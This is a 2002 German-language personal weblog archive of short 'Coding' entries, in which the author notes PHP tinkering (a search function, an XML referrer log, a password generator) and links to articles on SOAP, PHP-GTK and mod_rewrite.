17:18 | Coding | 7 comments |
|
.: Tüftel, tüftel Nun werden die Suchergebnisse nach Häufigkeit der Treffer sortiert, sowie doppelte Treffer entfernt. Diese 25 Zeilen Code, an denen ich jetzt sicher 1.5 Stunden gebaut habe, kann man für 10 Euro käuflich erwerben; damit ich den Kaffee bezahlen kann ;-)
|
|
02:22 | Coding | 2 comments |
|
.: Sucht! Damit ihr's noch bequemer habt, gibt es jetzt ne Suchfunktion. Warum das ganze via GET und nicht via POST funktioniert, erfährt ihr später noch. Wer's trotzdem rauskriegt, darf sich Geek nennen ;-]
|
|
00:42 | Coding | one comment |
|
|
Sunday, 15. September 2002 | Week 36 |
|
|
|
.: dHd - PHP Hier sieht das mit PHP und SOAP so einfach aus, dass sogar ich ein bisschen drausgekommen bin. Bei Gelegenheit (wenn Maturaarbeit feritg) ausdrucken.
Und das hier sieht auch sehr interessant aus.
Beides geklaut vom Schockwellenreiter.
|
|
23:20 | Coding | one comment |
|
|
Saturday, 7. September 2002 | Week 35 |
|
|
|
.: phptutorial Beim durchsurfen der Referrer ist mir in einem Googlequery dieses Tutorial/Artikel über PHP ins Auge gestochen. Eine IMHO gute Erklärung für Neueinstieger/Umsteiger.
|
|
00:39 | Coding | Permalink |
|
|
Friday, 6. September 2002 | Week 35 |
|
|
|
.: PH(P)un Via einem Link beim Schockwellenreiter bin ich auf diesen Artikel gestossen, welcher eine virtuelle Umwandlung von statischen in dynamische URLs beschreibt. Mit mod_rewrite! Muss ich irgendwann einbauen, wann ich weniger Stress mit der Maturaarbeit habe. :-)
|
|
12:14 | Coding | 13 comments |
|
|
Tuesday, 3. September 2002 | Week 35 |
|
|
|
.: The Wonders of PHP SOAP Wenn der Autor dieses Artikels die SOAP Extension für PHP releast und mein Hoster diese Extensions installiert, wird der x-log auch via SOAP erreichbar sein. Aber bis dahin müsst ihr euch noch gedulden. Oder ich nehme mir mal richtig Zeit um mit einer SOAP Klasse Webservices zu programmieren und anzubieten. Vielleicht wirds dann auch etwas mit meinem PHP-GTK-Client für den x-log :-)
|
|
19:58 | Coding | Permalink |
|
|
Thursday, 29. August 2002 | Week 34 |
|
|
|
.: Google-API Bisher hatte ich vergeblich gesucht, aber jetzt habe ich es gefunden: Hiermit kann man auch mit PHP via SOAP auf die Google-API zugreifen.
Hier hat es noch viele weitere "inspirierende" PHP-Artikel :-)
|
|
01:29 | Coding | Permalink |
|
.: PHP-GTK Und hier noch eine Einführung in PHP-GTK. Inklusive einem simplen GUI für MySQL.
|
|
01:18 | Coding | Permalink |
|
.: Eigenes Session Management Dieser Artikel beschreibt, wie man mit PHP ein eigenes Session Management programmieren kann; ohne $_SESSION['???'] zu benützen.
|
|
01:04 | Coding | Permalink |
|
|
Saturday, 17. August 2002 | Week 32 |
|
|
|
.: PHPDoc Diesen Artikel über PHPDoc muss ich mir merken. Könnte nützlich sei für meine Maturaarbeit.
|
|
18:27 | Coding | Permalink |
|
.: PHP-GTK Nachdem ich nun schon vielerorts von PHP-GTK gelesen habe, habe ich nun dieses graphische Zeugs installiert. (Mit Hilfe dieses Tutorials war es gar nicht schwer :-)
Bis jetzt funktionierts IMHO gut. Nun muss ich sehen, wie ich mit der GUI-Programmierung zurechtkommen kann ;-)
|
|
03:28 | Coding | Permalink |
|
|
Monday, 8. July 2002 | Week 27 |
|
|
|
.: PHP Auf http://www.stefan-fischer.net/ hat es verschiedene PHP-Klassen, unter anderem auch zum Thema XML/RSS. Vielleicht kann der/die eine oder andere etwas davon für seinen Weblog brauchen (mir ist's so ergangen) :-)
|
|
19:20 | Coding | Permalink |
|
|
Thursday, 20. June 2002 | Week 24 |
|
|
|
.: XML-Log Mit ein paar PHP-Scripts ist habe ich hier einen XML basierten Referer- und User-Agent-Log gebastelt. Hier kann man ihn herunterladen.
|
|
23:22 | Coding | Permalink |
|
|
Sunday, 16. June 2002 | Week 23 |
|
|
|
.: Sicherheit geht vor! Aus reiner Lust an zufälligen Passwörtern habe ich ein kleines PHP-Script geschrieben. Damit habe ich hier sogar ein 8-Zeichen Passwort hingebracht, für das man 307 Jahre zum entschlüsseln braucht. ;-) Hier noch der Code.
|
|
03:43 | Coding | 7 comments |
|
|
Saturday, 15. June 2002 | Week 23 |
|
|
|
.: XML-Gebastel Da ich mich gerade etwas in XML einarbeite, habe ich nun einen XML-basierten PHP-Refererlog geschrieben. Hier die HTML-Ausgabe, und hier die XML-Base.
|
|
03:22 | Coding | Permalink |
|
|
Wednesday, 12. June 2002 | Week 23 |
|
|
|
.: blo.gs-Ping Bei blo.gs findet wann wie bei weblogs.com immer die aktuellsten Weblogs. Um die Eintragung des eigenen Weblogs zu vereinfachen, hat Pepino ein kleines PHP-Script geschrieben.
|
|
00:49 | Coding | Permalink |
|